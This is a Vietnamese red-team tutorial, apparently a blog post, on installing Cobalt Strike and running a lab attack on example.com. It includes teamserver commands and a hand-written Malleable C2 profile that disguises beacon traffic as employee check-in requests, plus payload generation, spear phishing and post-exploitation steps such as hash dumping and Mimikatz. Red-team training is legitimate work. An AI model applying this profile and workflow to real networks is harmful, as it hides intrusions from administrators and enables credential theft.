+12

Sử dụng Cobalt Strike cho Redteam (P1)

image.png

I. Welcome to Cobalt Strike

CobaltStrike là công cụ chuyên dụng dành cho RedTeam và BlackHat - sử dụng để mô phỏng các mối đe dọa tấn công vào doanh nghiệp và chính phủ. CobaltStrike hiện đang đứng top 1 trong danh sách các công cụ được sử dụng "sai mục đích" 🙄

Lấy cảm hứng từ Metasploit Framework , Raphael Mudge đã tạo ra một công cụ miễn phí dựa trên giao diện người dùng mang tên Armitage, rồi tiếp tục tạo ra bản nâng cấp của Armitage mang tên CobaltStrike. Đó là lý do Armitage và CobaltStrike "na ná" nhau về Logo cũng như cách sử dụng (theo như tác giả thì CobaltStrike là anh, còn Armitage là em)

image.png

So sánh Cobalt Strike với Metasploit Framework

  • CobaltStrike tập trung nhiều hơn về Malware Development, Phishing so với Metasploit Framework vốn tập trung nhiều hơn về exploit code. (Metasploit Pro có các tính năng tương tự nhưng ít được chú ý tới).

  • Thành phần mở rộng của Metasploit (module) sử dụng ngôn ngữ Ruby. Do đó để phát triển thêm các chức năng mới, buộc phải viết mã bằng Ruby theo format cố định.

  • CobaltStrike sử dụng các “CobaltStrike script” để giao tiếp với code người dùng phát triển. Do đó người dùng có thể sử dụng bất kỳ ngôn ngữ nào mà họ thích (C/C++. Powershell , Python).

  • CobaltStrike quản lý session tốt hơn so với Metasploit Framework (cảm nhận cá nhân) . Do đó nó thích hợp cho việc quản lý số lượng lớn “bot” trong vai trò như một C&C.

  • CobaltStrike có cơ chế (Client - Server) - Metasploit Framework thì không có . (Metasploit Pro thì mình không biết có hay không).

  • CobaltStrike mất phí và không phải ai cũng được phép mua (chỉ các doanh nghiệp tư nhân mới được mua) - nói vậy nhưng đa phần CobaltStrike được dùng bởi các tổ chức chính phủ.

II. Cài đặt

Screenshot_3.png

Xây dựng môi trường

  1. Máy chủ Ubuntu đóng vai trò như một C&C (IP public 34.126.119.215) đã trỏ Domain về http://malware-victim.online (C&C).
  2. Hệ điều hành Kali Linux đóng vai trò như Cobalt Strike Client (Hacker).
  3. Windows 10 Pro đóng vai trò như máy tính nạn nhân (Victim).

image.png CobaltStrike hoạt động tốt với java version "17.0.2" 2022-01-18 LTS

Bước 1. Download CobaltStrike 4.4 (Cài này chúng ta phải liên hệ với hãng để mua https://download.cobaltstrike.com/download )

Lưu ý phiên bản chạy cài đặt trên C&C và Hacker phải đồng nhất - nếu không CS sẽ không chạy

Bước 2. Download Malleable C2 Profiles tại https://github.com/rsmudge/Malleable-C2-Profiles

Malleable C2 cho phép ẩn/fake lưu lượng từ Victim về C&C , là yếu tố rất quan trọng cho việc tăng khả năng khó phát hiện của mã độc. Mình sẽ nói kỹ hơn ở phần dưới.

Bước 3. Trên máy C&C chạy command

# screen 
# ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]

Trong đó :

  • screen giúp giữ session sau khi thoát khỏi SSH (tùy chọn)
  • host : IP của C&C (không sử dụng IP 127.0.0.1 hoặc localhost)
  • password : Mật khẩu mà client sẽ sử dụng để đăng nhập vào C&C
  • c2.profile : Profile đã tải về phía trên
  • YYYY-MM-DD : Ngày tháng muốn server tự động ngắt kết nối
[root@sendm cobaltstrike4.4]# ./teamserver 34.126.119.215 123456a@ Malleable-C2-Profiles/normal/amazon.profile 
[*] Will use existing X509 certificate and keystore (for SSL)
Hook starting...
Found desired class: common/Authorization
[+] I see you're into threat replication. Malleable-C2-Profiles/normal/amazon.profile loaded.
[*] Loading properties file (/root/cobaltstrike4.4/TeamServer.prop).
[*] Properties file was loaded.
[+] Team server is up on 0.0.0.0:8089
[*] SHA256 hash of SSL cert is: f0decb9b0f8c997defed2f6056b5cf566752f7c4cb6018e034b973224e949a9d
[+] Listener: payload_nc started!

Khởi động thành công ta có được SHA256 Hash.Giá trị này nhằm mục đích xác nhận lại tính toàn vẹn của gói tin khi gửi từ máy Hacker.

Bước 4. Trên máy Hacker (Kali Linux) tiến hành kết nối vào C&C

# ./start.sh

Screenshot_1.png

Một vài giá trị cần lưu ý :

  • host : IP public của C&C (IP của chính máy mình trong trường hợp sử dụng máy chủ duy nhất để tấn công)
  • port : Port kết nối vào C&C (Mặc định là 50050)
  • User : Mặc định là neo
  • Password : Password đã cài đặt phía trên

Để chỉnh sửa các thông số này, ta thay đổi trong file teamserver

image.png

java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.k>

Một mã SHA256 sẽ hiện lên, mã này phải trùng khớp với SHA256 của C&C để xác minh tính toàn vẹn

image.png

Giao diện hiện ra khi kết nối thành công !!!

image.png

Nhìn chả có cái vẹo gì đúng không 😄? Nhưng bạn yên tâm, có nhiều thứ hay ho bên trong đây lắm.

III. Sử dụng cơ bản - Cobalt Strike 101

User Interface

image.png

Ở đây mình tạm chia thành 3 vùng cơ bản để chúng ta tiện theo dõi :

  • Vùng A (màu xanh nước biển ) : Chứa các nút chức năng để phục vụ cho các cuộc tấn công ( Running Commands , Session Passing , Upload and Download Files , File Browser , Desktop Control, Port Scanning ...)

  • Vùng B (màu đỏ) : Hiển thị các máy tính ta đã chiếm quyền điều khiển (bao gồm các thông số IP, tên máy tính, cấu trúc CPU , payload đang sử dụng , PID của malware ...) . Có 2 cách hiển thị (qua dạng bảng hoặc dạng GUI, ta có thể thay đổi chúng thông qua phím space)

  • Vùng C (màu nâu) : Hiển thị các event log (thông báo về việc user khác đăng nhập vào cobaltstrike hoặc chiếm quyền điều khiển hệ thống thành công ...)

Do Cobalt Strike là một công cụ quá rộng , dường như mọi hoạt động của red team đều có thể sử dụng "một nút nào đó", nên thay vì liệt kê từng chức năng, mình sẽ thể hiện qua việc tấn công các mục tiêu giả định để mọi người dễ theo dõi hơn.

Case Study - Giả lập tạo malware tấn công vào hệ thống example.com

Ở đây mình sử dụng Cobalt Strike áp dụng mô hình Red Team để thực hiện tấn công

image.png

Mô hình này bao gồm : Recon (tìm hiểu hệ thống cần tấn công) - Weaponization (tạo công cụ) - Delivery (chuyển mã độc tới nạn nhân) - Post Exploit

Step 1. Recon

Trong quá trình mã độc hoạt động, nó sẽ liên tục gửi các gói tin về máy chủ quản lý, nếu chúng ta không cấu hình phần này thì không khác gì "lạy ông tôi ở bụi này", việc cấu hình càng sát với một hoạt động của người dùng thông thường - càng tăng khả năng khó phát hiện. Trên github xuất hiện nhiều Malleable-C2-Profiles được viết sẵn - nhằm giả lập lưu lượng của Google, Youtube, AWS .. chúng ta có thể sử dụng luôn , nhưng ở đây mình sẽ tự viết Malleable C2 Profiles để đóng giả hoạt động của một nhân viên công ty.

Ví dụ trong quá trình recon, mình phát hiện tổ chức sử dụng một trang web cho nhân viên với domain checkin.example.com , domain này được nhân viên của công ty truy cập hàng ngày để tiến hành điểm danh - do đó mã độc của mình sẽ fake lưu lượng như một nhân viên thực hiện công việc này.

Step 2. Weaponization

Để tạo Malleable C2, ta tiến hành xây dựng theo cấu trúc sau

Đầu tiên - ta khai báo các thông số cơ bản gồm tên, thời gian sleep, useragent giả lập ...

#
# Author : XXXXXXX
# Example traffic profile
# Global Options
set sample_name "RAT Profile";
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53";

Tiếp theo , nếu GET Request của việc checkin vào hệ thống checkin.example.com như này

GET / HTTP/2
Host: checkin.example.com
Cookie: _example_session=xxx&skin=yyyy&csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996
Cache-Control: max-age=0
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Thì tương ứng với việc giả lập trong code như sau

http-get {
    set uri "/";
    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9";
        header "Host" "checkin.example.com";

        metadata {
            base64;
            prepend "_example_session=xxx";
            prepend "skin=yyyy;";
            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
            header "Cookie";
        }
    }

Nếu Response server trả về như này

HTTP/2 200 OK
Server: nginx
Date: Mon, 21 Mar 2022 07:21:58 GMT
Content-Type: text/html; charset=utf-8
Status: 200 OK
Cache-Control: max-age=0, private, must-revalidate
Vary: Origin
X-Xss-Protection: 1; mode=block
X-Request-Id: 34c7ce58-2c70-49f5-bda9-b21d5f97898d
Etag: W/"c47c800de710c6825b5be9520e2b2c2e"
X-Frame-Options: SAMEORIGIN
X-Runtime: 0.054265
X-Content-Type-Options: nosniff

Thì tương ứng với việc giả lập trong code như sau

    server {
        header "Server" "nginx";
        header "Status" "200 OK";
        header "Cache-Control" " max-age=0, private, must-revalidate";
        header "X-Xss-Protection" "1; mode=block";
        header "X-Request-ID" "4c7ce58-2c70-49f5-bda9-b21d5f97898d";

        output {
            print;
        }
    }
}

Nếu POST Request của việc checkin vào hệ thống checkin.example.com như này

POST /vi/users/sign_in HTTP/2
Host: checkin.example.com
Cookie: xxxxxx
Content-Length: 375
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
X-Csrf-Token: JLy2EWvO1zJlyqRg/Y0dn5bcK543OrbuLM9K/QIUx
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Platform: "Windows"
Origin: https://checkin.example.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://checkin.example.com
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

utf8=%E2%9C%93&authenticity_token=JLy2EWvO1zJlyqRg%2FY0dn5bcK543OrbuLM9K%2FQIUxxMhn5CF3L0GPJ6K5eGKM5n6toDu0TsyKv4tLdw4BmHoFw%3D%3D&authenticity_token=JLy2EWvO1zJlyqRg%2FY0dn5bcK543OrbuLM9K%2FQIUxxMhn5CF3L0GPJ6K5eGKM5n6toDu0TsyKv4tLdw4BmHoFw%3D%3D&user%5Btoken_core_value%5D=&user%5Bemail%5D=nguyen.van.x%4example.com&user%5Bpassword%5D=123123&user%5Bremember_me%5D=0

Thì tương ứng với việc giả lập trong code như sau

http-post {
    set uri "/vi/users/sign_in";
    client {
        header "X-Requested-With" "XMLHttpRequest";
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9";
        header "Host" "checkin.example.com";
      
      # add parameter for URL
        id {
            base64;
	    header "Referer";
        }

       # parameter "uft8" "%E2%9C%93";
       # parameter "authenticity_token" "JLy2EWvO1zJlyqRg%2FY0dn5bcK543OrbuLM9K%2FQIUxxMhn5CF3L0GPJ6K5eGKM5n6toDu0TsyKv4tLdw4BmHoFw%3D%3D";
       # parameter "[user]email" "nguyen.van.x@example.com";
       # parameter "[user]password" "1234123";
       # parameter "[user]remember_me" "0";

        output {
            base64;
            print;
        }
    }

Response trả về

HTTP/2 200 OK
Server: nginx
Date: Mon, 21 Mar 2022 07:26:05 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Status: 200 OK
Cache-Control: max-age=0, private, must-revalidate
Vary: Origin
X-Xss-Protection: 1; mode=block
X-Request-Id: 29c4938d-bbc4-4f77-8fc7-1d99579067eb
Etag: W/"3bf7e2f06c2ef5f6100173303da911b5"
X-Frame-Options: SAMEORIGIN
X-Runtime: 0.027550
X-Content-Type-Options: nosniff
Set-Cookie: xxxxxxxx
X-Powered-By: Phusion Passenger 6.0.2
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Authorization,Content-Type,Content-Length,DAuthorization,Accept,Accept-Charset,Accept-EncodingWSM-AUTH-TOKEN
Access-Control-Expose-Headers: Content-Length,Content-Range

{"success":false,"message":"Invalid email or password."}

Tương ứng với việc giả lập

    server {
        header "Server" "nginx";
        header "X-Xss-Protection:" "1; mode=block";
        header "Cache-Control" "max-age=0, private, must-revalidate";
        header "X-Frame-Options" "SAMEORIGIN";
        header "X-Powered-By" "Phusion Passenger 6.0.2";

        output {
            print;
        }
    }
}

Sau khi tạo thành công file Malleable C2 , ta sử dụng c2lint trong thư mục cobaltstrike để kiểm tra xem file có hoạt động như mong muốn không. Tất cả những gì công cụ này hiển thị, chính là thứ Administrator sẽ nhìn thấy nếu sniff lưu lượng mạng malware của chúng ta

Lưu lại file với tên example.profile và kiểm tra với c2lint

# ./c2lint expamle.profile

image.png

image.png

Như vậy ta đã thành công trong việc ẩn giấu lưu lượng mạng độc hại thông qua cách hoạt động như một người dùng thông thường , với một Administrator ít kinh nghiệm, thật khó để biết đâu là truy cập của người dùng, đâu là lưu lượng của mã độc.

Khởi động Cobalt Strike với profile vừa tạo , câu lệnh như sau

# ./teamserver 34.126.119.215 123456a@ example.profile

Khởi động thành công, ta thiết lập trình lắng nghe theo đường dẫn Cobalt Strike > Listeners

image.png

Sau khi ấn "Add", ta thiết lập thông số cho trình lắng nghe

image.png

  • Name : Tên payload

  • Payload : Beacon HTTP (có rất nhiều beacon khác nhau với mục đích khác nhau, chúng ta sẽ tìm hiểu sau , ở đây ta chọn thống số mặc định)

  • HTTP Hosts : IP của máy C&C mà malware sẽ giao tiếp (giống LHOST trong msfconsole)

  • HTTP Port : Port của máy C&C mà malware sẽ giao tiếp (giống LPORT trong msfconsole)

Để tạo mã , ta tiến hành truy cập theo đường dẫn Attacks > Packages

image.png

Ở đây cung cấp nhiều dạng mã độc với nhiều nền tảng khác nhau bao gồm

  • HTML Application : Mã html độc hại
  • MS Office Marco : Mã Marco nhúng trong MS Office
  • Payload Generator : Tạo malware đa nền tảng (C,Powershell , Perl , Java, Python ...)
  • Windows Executable (s) : Các mã malware hoạt động trên Windows

Tạo mã độc thành công !!!

image.png

image.png

Step 3. Delivery

Để gửi mã độc cho nạn nhân thông qua email, ta tiến hành truy cập theo đường dẫn Attacks > Spear Phishing

image.png

Step 4. Post Exploit

Ngay khi nạn nhân khởi chạy mã độc, màn hình hiển thị như sau

image.png

Ở đây nếu ta thấy hình máy tính nạn nhân hiển thị hình tia sét, tức là ta có quyền quản trị , ngược lại thì không

Tab Access cho ta các tùy chọn tấn công chính gồm:

  • Dump Hashes : Dump thông tin hash trong hệ thống
  • Golden Ticket : Tạo ticket trong môi trường AD
  • Mimikatz : Khởi chạy công cụ mimikatz

image.png

Tab Explore cho ta các tùy chọn tấn công chính gồm:

  • Browser Pivot : Thực hiện Browser trên máy đã chiếm quyền điều khiển để Pivot vào tài nguyên không được phép xem
  • File Browsert : Truy cập hệ thống file trên máy đã chiếm quyền điều khiển
  • Port Scan : Scan port hệ thống
  • Screenshot : Chụp ảnh hệ thống

image.png

Tab Pivoting cho ta các tùy chọn chức năng gồm:.

  • SOCKS Server : Biến máy đã chiếm quyền điều khiển thành một SOCKS Server
  • Deploy VPN

image.png

Tab Spawn kết nối session hiện tại với một beacon khác, thực hiện mục đích leo thang đặc quyền

image.png

IV. Kết luận

Trên đây là những kiến thức cơ bản nhất về Cobalt Strike , một công cụ với cực kì nhiều kỹ thuật phức tạp. Hi vọng chúng ta sẽ gặp nhau trong các phần tiếp theo. Cuối cùng, mình xin chúc mọi người một năm mới thuận lợi, phát triển trong công việc; đạt được nhiều thành tựu trong quá trình nâng cấp hiểu biết, chuyên môn, phát triển bản thân.


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.